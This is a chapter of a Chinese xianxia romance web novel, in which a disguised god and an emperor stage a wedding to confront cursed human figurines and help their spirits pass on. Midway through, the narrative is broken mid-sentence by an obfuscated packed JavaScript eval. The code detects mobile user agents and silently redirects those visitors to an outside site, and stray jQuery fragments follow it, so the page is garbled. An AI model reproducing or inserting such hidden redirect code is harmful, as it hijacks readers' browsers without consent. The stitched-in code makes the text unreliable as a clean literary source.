99. 你既成亲,我来道贺
作品:《仙狐竹马绕青梅》 第二日的清晨,帐篷外的唢呐队和前来引魂的神婆都准时到达了帐篷外,盖上盖头的陆伯都扶着比自己矮了半个头的“新郎”,看上去有些扭捏地走了出来。
“我就说你们是专程为了整我!这江南的女子多是娇小身量,偏我五大三粗的,成了个新娘,尽叫那人俑生疑!”
骂骂咧咧的神君,愤然地拍了一下那位做了多日情敌,今日却要与自己同去大战人俑的“皇帝哥哥”。只可惜到了此时,他心里便是有千百个不愿意,也不能反悔了。
“那人俑你是没见过,其中的女俑罕见的高,与咱们身量正是相当。
而且从装扮上看,扎了许多细细的辫子,似乎是个异邦人,长相也正如陆神君般,高鼻深目,她待会儿瞧见了你,包准高兴得很。”
新郎的声音听上去很是开心,似乎对捉弄自己这件事欢喜得很,看上去全然忘了俩人不久就要面对移魂换命之术了。
喜婆见二人出来,立刻将他们迎进了布置好的红圈中间,四周的民舍半个人影子都没有,连狗都逃得一条不剩。他一抬头就能看见正前方不远处闹鬼的寺院。
可就在这么个荒凉可怖的地方,居然在熹微的晨光里,连夜布置好了一个喜事用的礼堂,周围还围了整整一圈来参加仪式的亲友,有老有少,男女各半,都堆着比哭还难看的笑容挤在周围。
昨夜的卷宗上写了,那人俑进佛身之前,需要举办婚礼仪式,以和合之态入内。可自己今天明明是来假装换命,实则捉鬼的,不知道身边的人把这一切做得那么逼真做什么。
“晚些时候可是要打起来的,你整这么多百姓在这儿,回头误伤了怎么办?”
挽着身边的人边朝着几个方向按照喜婆指示鞠躬的神君显然有些摸不着头脑,既然过一会儿要动手,便叫些士兵像他这样找些妇人衣裳扮上就行了,就算是怕对方起疑,也不必叫这么多民众来。
“你别瞎操心了,今儿来观礼的,都是皇亲贵胄。
他们平日里受着大家的税收供养,享着不一般的尊荣。到了要用的时候,自然应该出来替大家承担风险。
再说了,我成亲,叫些家里的亲眷来,也是情理之中的事儿,来!喝交杯酒了。”
盖头里忽然伸进一只指节分明的手,修长的手指里,放着一只盛满酒液的喜杯。望着那个杯子,干咽了几口口水的陆伯都迟疑了再三才接了下来。
脑中不禁又浮现起几个月前,自己娶妻之时喝的交杯酒来,那时候的他,正是梦想成真春风得意之时,彼时身边站的是诸天十二神界祖师和三界来贺的亲友,对面的是心爱多年的女子。
此时他却穿着抬抬胳膊都费心的劣质喜服,擦了胭脂口脂浓妆艳抹地对着一个眉目清秀的男子。更可怕的是,这人心心念念爱着的,还是自己的妻子,他居然要在人俑的注视下与对方成亲。
三界只怕都没有人敢这样为难昆仑的山神,却也所有人都拦不住他今日自愿以身入局。
想到这荒唐的场面,心里又苦又无奈的人,居然没忍住笑了出来,这笑声的意味不重要,四周围观的人们听见了以后却都高兴得拍手起哄叫他们快喝。
入喉的液体辛辣,酒居然是真酒,方才的喝彩声听上去也不是假的。看来这小皇帝平日里也没少得罪人,才导致那些观礼的皇亲国戚,见了这样的场面不止不担心他们的天子,反而还笑话起他来。
“恭喜两位喝过交杯,接下来就进入喜事的最后一步:
由新郎背起新娘,跨过火盆,以后的日子便红红火火,甜如蜜糖!”
说话的人声音有些熟悉,透过半透明的盖头往外找寻了一会儿,见到了证婚环节,出场的人居然是昨夜说自己不方便露面的小舅子,憋了一早上的老虎更是气得瞪大了眼睛:
“天杀的!你不是不便露面吗!
怎地现在眉飞色舞地在这儿现眼!”
对面满脸正经的孟白藏却毫不惧怕,义正严辞的答道:
“我不便露面是指我不便扮作新娘,引人俑怀疑。
可我身为江南首富,身份在这儿是极为贵重的,今日有我为二位证婚,你该觉得荣幸才对。
要知道,许多人要这福气还求不来呢,你还不快上到夫君的背上去!”
盖着盖头的神君绝望地环顾了一圈四周,见除了幸灾乐祸的小舅子,自己的那些亲信也捂住嘴偷笑了起来。
心知现今的自己便如那板上的鱼肉,没有什么做主的权利,只好叹了一口气,乖巧的趴上了面前比自己瘦弱不少的背。
等到仪式全部结束,被红绳缠住手脚捆在一起的两人,终于被送进了寺院里空心的佛像后面。从前从未进过这种地方的陆伯都到了这一刻,有些感叹起凡人的智慧来。
这佛像有五六层楼那么高,虽是木身贴金,可瞧着也极为庄严。只可惜他们进来后,就闻到了股浓浓的腐败气息,那味道像是腐肉里拌进了香料,闻着不止恶心,还令人有些发怵。
不远处的有两只褪去了颜色,却依然看得出纹样精美的鞋进入了他的视线。原来人俑死了之后,还需要被石膏糊上全身,涂上鲜艳的油彩,远处的那对人俑身上描凤绘花,在昏暗的光线里瞧着真是诡异之极。
麻利地解开身上的活结,从绳套里钻了出来,向前走了两步的人来到了人俑的正面。这玩意儿虽然身上脸上的油彩有些斑驳了看上去却与寻常街市上卖的泥人无异。
他一把抓下盖头扔在地上,歪头打量了人俑许久,发现除了女俑身量高挑,并没有传言的那么可怖。就放心地转身对着身后的人调笑起来:
“这也没有你们说得那么瘆人嘛!早知道我们拿几张符咒进来贴了便完事儿了!
白费那些功夫,还叫我男扮女装,搞那么大的阵仗!”
听见他抱怨的皇帝却不答话,只笑了笑对着他身后抬了抬下巴,顺着对方的视线扭过头的陆伯都,见到了面前的景象后,只觉得浑身的力气都被抽干了,手脚都发软起来。
方才明明还闭着眼的人俑不知何时睁开了眼,那眼睛里的眼白被猩红的血泪染得通红,正直直地盯着他,再往下看,被油彩染红的嘴唇也微微翘起了嘴角,露出了一个令人毛骨悚然的笑容。
“是当朝天子说你们成亲来与我们换命,怎地新娘来了个男的?”
说话的正是把神君吓得躲在新郎身后的女俑,扶住了身前人的肩膀,连头也不敢抬的人听见身边人镇定自若的答道:
“因为您也是个男的,我听捉妖师描述的时候,也觉得不可思。
可见了他们的画像后,却又确信了,您的装扮是远方牧族男子的装扮,长辫高靴,身带彩珠。
只是在下也有一事不明,您是个异邦男子,为何会被江南的佞臣捉去做了人俑?”
这位小皇帝现在说的,尽是些卷宗上没有的。原来这女俑和此刻的自己一样,竟然是男扮女装的,那现在他的模样,岂不是正好合了对方的心意?
虽然恐惧地底爬出的藤蔓,缠得年轻的神君心如擂鼓。可对人俑身世的好奇,却又令他站直了身子,竖起了耳朵。
“你不是神仙么?居然还怕鬼……”
挡在前方的新郎声音里全是不可思议,和对这位神族新娘的恨铁不成钢。
“你专心听人间说原委,少管我!神仙怕什么不怕什么,还能轮到你管了?”
恼羞成怒的人没有再争辩下去,只怯怯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826325|155451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地躲在了新郎身后,像个小媳妇一样认真地等着人俑回话。
没想到接下来的故事,倒让人彻底褪去了对面前人俑的恐惧,只剩下怜惜和哀叹。
许是关在佛像后几十年不说话,人俑的声音退化得异常尖细,抑或是别的原因,对面答话的声音像是利爪脑过砂纸般,卡顿又锐利地将佛像后的真相慢慢讲了出来:
这位牧族男子,本是因为北方大旱,牛羊饿死,才被迫带着唯一的幼妹逃到江南的流民。
他们到了江南后,因为男子身强力壮,很快就找到了在国主亲弟府里喂马的肥差,也算是带着家人在此地安顿了下来。然而好景不长,因为那位爵爷的野心越来越大,上门献计的术士越来越多。
不久后对方就生出了要做双阳煞的歹心,他先是贪了一大笔钱,将佛像做成了中空的样子。随后,便开始打起了这对无依无靠的兄妹的主意,城中哪家的女儿失踪被做了双阳煞只怕都要闹起来。
而流民的女儿却不怕,查起来也是无依无靠的浮萍两朵罢了,于是,就这样,这名男子的妹妹,便被选做了女俑。
“他们短时间内寻不到合适的男佣,便又盯上了府里另一位砍柴的流民阿宁。
选定人选后,便很快择定了给他们办亲事行邪术的日子。我们的父母在大旱里亡故了,妹妹是我在世间唯一的牵挂。
为了救妹妹,我典当了牧族人所有的首饰,换了一笔钱交给那办事的神婆,求她以我的命,换我妹妹的命,将我拿来做人俑,偷偷将我妹妹放出去。”
听到这里已经唏嘘不已的昆仑山神早已放下了心里的恐惧,他望着面前那个被困在油彩烂泥里多年的牧族男子,心里只觉得像被灌了铅一般,又沉又闷,低头擦了擦眼角,才接着听下去:
“那神婆受了那个大奸臣的钱,却没有十足的功力,倾其心力也只封印了我们三十年。
她也收了我的钱,答应我要把妹妹送出去安顿好,却将她卖给了城郊庄子里的赌鬼家做媳妇。
苍天有眼啊,那庄子竟就在这寺院附近,我眼睁睁的看着我的妹妹,日日来拜,在佛前垂泪不已,从手上脚上遍布淤青,到最后,连走路都得扶着拐杖。
我们见最后一面的时候,佛堂里烧香的老婆子们,说那赌鬼已经输光了家里所有的田地,就要将她卖进窑子里了。
我却只能被封在泥塑里,藏在佛像后,眼睁睁的看着她走投无路的离开了佛寺,走向了她的死路……”
抬手聚力地神君并不知此时能说些什么,他专心用神力破开了面前的石膏油彩,又断开了里面困住两具灵体的铁锁,看着面前已经化成白骨的男子尸身,再度红了眼眶。
人间神界各有惨象,而他生而为神,能做的却那么有限。五步之后,是众人朝拜的佛堂,而佛像背后,香火萦绕之处,却有着这样的悲剧和那样惨烈的灵魂。
信众们以为造佛之人是朝野所重,皇恩驱使的国之重器,却不知对方怀着一副蛇蝎的心肠,慈眉善目的模样全是伪装。
“我来以灵力为他们超度,过忘川吧。
你以神力去寻一寻他那枉死的妹妹,使他们到了冥界,还能再见一面吧。”
孟望舒的声音来得有些突然,令站在一起的两个男子都震了一下,却又立刻照着她说的去做了。
等到超度完人俑,走出佛寺,头顶已经恢复了一片墨沉沉的夜色。
心里沉重的神君看着也有些疲惫哀伤的夫人,又想起了心底的疑问:
“你怎地突然来了?”
转身朝帐篷走去的小狐狸,声音里带着几分意味不明的戏謔:
“我听白藏说,你俩今日成亲,原想着来贺上一贺的!”